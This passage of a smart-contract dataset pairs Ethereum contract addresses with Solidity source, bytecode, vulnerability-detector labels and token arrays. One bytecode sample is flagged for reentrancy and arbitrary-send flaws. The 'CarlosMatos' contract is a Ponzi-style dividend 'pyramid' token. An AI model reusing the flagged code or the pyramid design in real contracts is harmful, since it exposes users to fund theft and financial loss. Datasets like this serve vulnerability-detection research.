b506000601d81600b612d4c565b3390565b6000806000806000806000613145886138cc565b915091506000613153613778565b905060008060006131658c868661392e565b919e909d50909b509599509397509395505050505050565b60006131bf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506136e1565b9392505050565b6000828201838110156131bf576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b0383166132655760405162461bcd60e51b81526004018080602001828103825260248152602001806144e96024913960400191505060405180910390fd5b6001600160a01b0382166132aa5760405162461bcd60e51b815260040180806020018281038252602281526020018061435e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166133515760405162461bcd60e51b81526004018080602001828103825260258152602001806144c46025913960400191505060405180910390fd5b6001600160a01b0382166133965760405162461bcd60e51b815260040180806020018281038252602381526020018061429f6023913960400191505060405180910390fd5b600081116133d55760405162461bcd60e51b81526004018080602001828103825260298152602001806144706029913960400191505060405180910390fd5b6001600160a01b03831660009081526005602052604090205460ff16613436576019548111156134365760405162461bcd60e51b815260040180806020018281038252602b815260200180614499602b913960400191505060405180910390fd5b601b546301000000900460ff161561348c576134518361222e565b61348c5760405162461bcd60e51b815260040180806020018281038252602d815260200180614380602d913960400191505060405180910390fd5b601b5460ff1680156134a95750601b54640100000000900460ff16155b80156134c35750601c546001600160a01b03848116911614155b156134d0576134d0612876565b6001600160a01b03831660009081526005602052604090205460ff168061350f57506001600160a01b03821660009081526005602052604090205460ff165b156135215761351c61396a565b61358e565b61352a8361399b565b1561358e57600061353a836120f1565b9050600061354882846131c6565b905060185481111561358b5760405162461bcd60e51b815260040180806020018281038252602a8152602001806142c2602a913960400191505060405180910390fd5b50505b6001600160a01b03831660009081526005602052604090205460ff1680156135cf57506001600160a01b03821660009081526005602052604090205460ff16155b156135e4576135df8383836139af565b613690565b6001600160a01b03831660009081526005602052604090205460ff1615801561362557506001600160a01b03821660009081526005602052604090205460ff165b15613635576135df838383613ac6565b6001600160a01b03831660009081526005602052604090205460ff16801561367557506001600160a01b03821660009081526005602052604090205460ff165b15613685576135df838383613b6c565b613690838383613bdc565b6001600160a01b03831660009081526005602052604090205460ff16806136cf57506001600160a01b03821660009081526005602052604090205460ff165b156136dc576136dc613c1d565b505050565b600081848411156137705760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561373557818101518382015260200161371d565b50505050905090810190601f1680156137625780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000613785613c2b565b9092509050613794828261379b565b9250505090565b60006131bf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613dbe565b6000806137f66127106137f08686613873565b9061379b565b949350505050565b6016805483019055600061381383600261379b565b90506000613821848361317d565b90504761383083850130613e23565b600061383c478361317d565b90506138488382614007565b505050505050565b6009544790613868906001600160a01b0316826140e8565b601780549091019055565b60008261388257506000610f15565b8282028284828161388f57fe5b04146131bf5760405162461bcd60e51b81526004018080602001828103825260218152602001806144076021913960400191505060405180910390fd5b60008060006138eb60646137f0600c548761387390919063ffffffff16565b90506138f63361399b565b6139175761391460646137f06010548761387390919063ffffffff16565b90505b6000613923858361317d565b935090915050915091565b600080808061393d8786613873565b9050600061394b8787613873565b90506000613959838361317d565b929992985090965090945050505050565b600c5461397657613999565b600c8054600d556000905560105461398d57613999565b60108054601155600090555b565b601c546001600160a01b0390811691161490565b60008060008060006139c086613131565b6001600160a01b038d16600090815260036020526040902054949950929750909550935091506139f0908761317d565b6001600160a01b038916600090815260036020908152604080832093909355600290522054613a1f908661317d565b6001600160a01b03808a166000908152600260205260408082209390935590891681522054613a4e90856131c6565b6001600160a01b038816600090815260026020526040902055613a7183826141cd565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b6000806000806000613ad786613131565b6001600160a01b038d1660009081526002602052604090205494995092975090955093509150613b07908661317d565b6001600160a01b03808a16600090815260026020908152604080832094909455918a16815260039091522054613b3d90836131c6565b6001600160a01b038816600090815260036020908152604080832093909355600290522054613a4e90856131c6565b6000806000806000613b7d86613131565b6001600160a01b038d1660009081526003602052604090205494995092975090955093509150613bad908761317d565b6001600160a01b038916600090815260036020908152604080832093909355600290522054613b07908661317d565b6000806000806000613bed86613131565b6001600160a01b038d1660009081526002602052604090205494995092975090955093509150613a1f908661317d565b600d54600c55601154601055565b60075460009081906d04ee2d6d415b85acef8100000000825b600654811015613d7457826002600060068481548110613c6057fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180613cc55750816003600060068481548110613c9e57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15613ce8576007546d04ee2d6d415b85acef810000000094509450505050613dba565b613d286002600060068481548110613cfc57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054849061317d565b9250613d6a6003600060068481548110613d3e57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054839061317d565b9150600101613c44565b50600754613d90906d04ee2d6d415b85acef810000000061379b565b821015613db4576007546d04ee2d6d415b85acef8100000000935093505050613dba565b90925090505b9091565b60008183613e0d5760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561373557818101518382015260200161371d565b506000838581613e1957fe5b0495945050505050565b60408051600280825260608083018452926020830190803683370190505090508181600081518110613e5157fe5b60200260200101906001600160a01b031690816001600160a01b031681525050601b60059054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015613ebf57600080fd5b505afa158015613ed3573d6000803e3d6000fd5b505050506040513d6020811015613ee957600080fd5b5051815182906001908110613efa57fe5b6001600160a01b039283166020918202929092010152601b54613f27918491600160281b90041685613220565b601b60059054906101000a90046001600160a01b03166001600160a01b031663791ac9478460008486426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015613fc1578181015183820152602001613fa9565b505050509050019650505050505050600060405180830381600087803b158015613fea57600080fd5b505af1158015613ffe573d6000803e3d6000fd5b50505050505050565b601b54614026903090600160281b90046001600160a01b031684613220565b601b54600160281b90046001600160a01b031663f305d71982308560008061404c6121fb565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b1580156140b757600080fd5b505af11580156140cb573d6000803e3d6000fd5b50505050506040513d60608110156140e257600080fd5b50505050565b8047101561413d576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015290519081900360640190fd5b6040516000906001600160a01b0384169083908381818185875af1925050503d8060008114614188576040519150601f19603f3d011682016040523d82523d6000602084013e61418d565b606091505b50509050806136dc5760405162461bcd60e51b815260040180806020018281038252603a8152602001806143ad603a913960400191505060405180910390fd5b60006141e960646137f06012548561387390919063ffffffff16565b9050600061420760646137f06012548761387390919063ffffffff16565b90506000614215848461317d565b90506000614223868461317d565b3060009081526003602052604090205490915061424090836131c6565b3060009081526003602090815260408083209390935560029052205461426690826131c6565b30600090815260026020526040902055600754614283908461317d565b60075560085461429390856131c6565b60085550505050505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d6178486f6c64416d6f756e742e4d617820686f6c6420616d6f756e742069732062656c6f77207468726573686f6c64416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373596f7520617265206e6f742077686974656c69737465642c2074727920616761696e20696e203130206d696e73416464726573733a20756e61626c6520746f2073656e642076616c75652c20726563697069656e74206d6179206861766520726576657274656446756e6374696f6e2069732074696d656c6f636b656400000000000000000000536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f5472616e7366657220616d6f756e74206578636565647320746865206d61785472616e73416d6f756e742e45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122028f704c08cbb266af30ec39206620fa2000b96295bd7c9f1535019afa6436cd164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 24594, 22394, 2692, 3676, 3401, 2683, 2629, 5243, 26976, 2683, 2683, 22407, 2050, 2620, 2094, 2581, 2549, 2063, 2575, 2497, 2487, 2497, 26224, 22407, 2509, 2098, 2497, 1013, 1013, 5371, 1024, 4895, 2483, 4213, 2361, 1013, 4895, 2483, 4213, 2361, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 1014, 1025, 8278, 1045, 19496, 26760, 9331, 2615, 2475, 4502, 4313, 1063, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 3643, 1007, 1025, 3853, 2171, 1006, 1007, 6327, 5760, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 6454, 1006, 1007, 6327, 5760, 5651, 1006, 5164, 3638, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,534
0x96f33705ed80b33e00ccbac61323b92bc6ade893
pragma solidity ^0.5.0; // // _____ __ _____ _ _____ // / ___| / _| | ___| | |_ _| // \ `--. __ _| |_ ___| |__ | | ___ _ __ | | _ __ _ _ // `--. \/ _` | _/ _ \ __|| |/ _ \| '_ \ | || '_ \| | | | // /\__/ / (_| | || __/ |___| | (_) | | | || || | | | |_| | // \____/ \__,_|_| \___\____/|_|\___/|_| |_\___/_| |_|\__,_| // //---------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract SafeElonInu is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "Safe Elon Inu"; symbol = "SafeElonInu"; decimals = 9; _totalSupply = 100000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806395d89b411161008c578063b5931f7c11610066578063b5931f7c1461044b578063d05c78da14610497578063dd62ed3e146104e3578063e6cb90131461055b576100ea565b806395d89b4114610316578063a293d1e814610399578063a9059cbb146103e5576100ea565b806323b872dd116100c857806323b872dd146101f6578063313ce5671461027c5780633eaaf86b146102a057806370a08231146102be576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610645565b604051808215151515815260200191505060405180910390f35b6101e0610737565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610782565b604051808215151515815260200191505060405180910390f35b610284610a12565b604051808260ff1660ff16815260200191505060405180910390f35b6102a8610a25565b6040518082815260200191505060405180910390f35b610300600480360360208110156102d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a2b565b6040518082815260200191505060405180910390f35b61031e610a74565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561035e578082015181840152602081019050610343565b50505050905090810190601f16801561038b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103cf600480360360408110156103af57600080fd5b810190808035906020019092919080359060200190929190505050610b12565b6040518082815260200191505060405180910390f35b610431600480360360408110156103fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2c565b604051808215151515815260200191505060405180910390f35b6104816004803603604081101561046157600080fd5b810190808035906020019092919080359060200190929190505050610cb5565b6040518082815260200191505060405180910390f35b6104cd600480360360408110156104ad57600080fd5b810190808035906020019092919080359060200190929190505050610cd5565b6040518082815260200191505060405180910390f35b610545600480360360408110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d02565b6040518082815260200191505060405180910390f35b6105916004803603604081101561057157600080fd5b810190808035906020019092919080359060200190929190505050610d89565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561063d5780601f106106125761010080835404028352916020019161063d565b820191906000526020600020905b81548152906001019060200180831161062057829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b60006107cd600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610896600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095f600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0a5780601f10610adf57610100808354040283529160200191610b0a565b820191906000526020600020905b815481529060010190602001808311610aed57829003601f168201915b505050505081565b600082821115610b2157600080fd5b818303905092915050565b6000610b77600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610b12565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c03600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610d89565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211610cc357600080fd5b818381610ccc57fe5b04905092915050565b600081830290506000831480610cf3575081838281610cf057fe5b04145b610cfc57600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000818301905082811015610d9d57600080fd5b9291505056fea165627a7a723058203f1293abafa775fdebaf976ce2563fc53e81e70a9454702019b7e790a80682d10029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2546, 22394, 19841, 2629, 2098, 17914, 2497, 22394, 2063, 8889, 9468, 3676, 2278, 2575, 17134, 21926, 2497, 2683, 2475, 9818, 2575, 9648, 2620, 2683, 2509, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1013, 1013, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1013, 1035, 1035, 1035, 1064, 1013, 1035, 1064, 1064, 1035, 1035, 1035, 1064, 1064, 1064, 1035, 1035, 1064, 1013, 1013, 1032, 1036, 1011, 1011, 1012, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1035, 1064, 1064, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1036, 1011, 1011, 1012, 1032, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,535
0x96f3e4086575e2b9d76ab5b1871a94b8b3a08d39
pragma solidity ^0.4.20; /* HEY HEY HEY WASSA WASSA WASSA WASSA BITCONECCCCCCCCCCCCCCCCCCCCCCCCCC */ contract CarlosMatos { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[keccak256(_customerAddress)]); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier antiEarlyWhale(uint256 _amountOfEthereum){ address _customerAddress = msg.sender; // are we still in the vulnerable phase? // if so, enact anti early whale protocol if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? ambassadors_[_customerAddress] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "CarlosMatos"; string public symbol = "CarlosMatos"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 10; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 5e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 10 ether; uint256 constant internal ambassadorQuota_ = 10 ether; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(bytes32 => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = false; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function CarlosMatos() public { // add administrators here administrators[0x235910f4682cfe7250004430a4ffb5ac78f5217e1f6a4bf99c937edf757c3330] = true; // add the ambassadors here. // One lonely developer ambassadors_[0x6405C296d5728de46517609B78DA3713097163dB] = true; // Backup Eth address ambassadors_[0x15Fda64fCdbcA27a60Aa8c6ca882Aa3e1DE4Ea41] = true; ambassadors_[0x448D9Ae89DF160392Dd0DD5dda66952999390D50] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /** * Transfer tokens from the caller to a new holder. * Remember, there's a 10% fee here as well. */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // make sure we have the requested tokens // also disables transfers until ambassador phase is over // ( we dont want whale premines ) require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // liquify 10% of the tokens that are transfered // these are dispersed to shareholders uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_); uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee); uint256 _dividends = tokensToEthereum_(_tokenFee); // burn the fee tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); // fire event Transfer(_customerAddress, _toAddress, _taxedTokens); // ERC20 return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case the amassador quota is not met, the administrator can manually disable the ambassador phase. */ function disableInitialStage() onlyAdministrator() public { onlyAmbassadors = false; } /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(bytes32 _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * If we want to rebrand, we can. */ function setName(string _name) 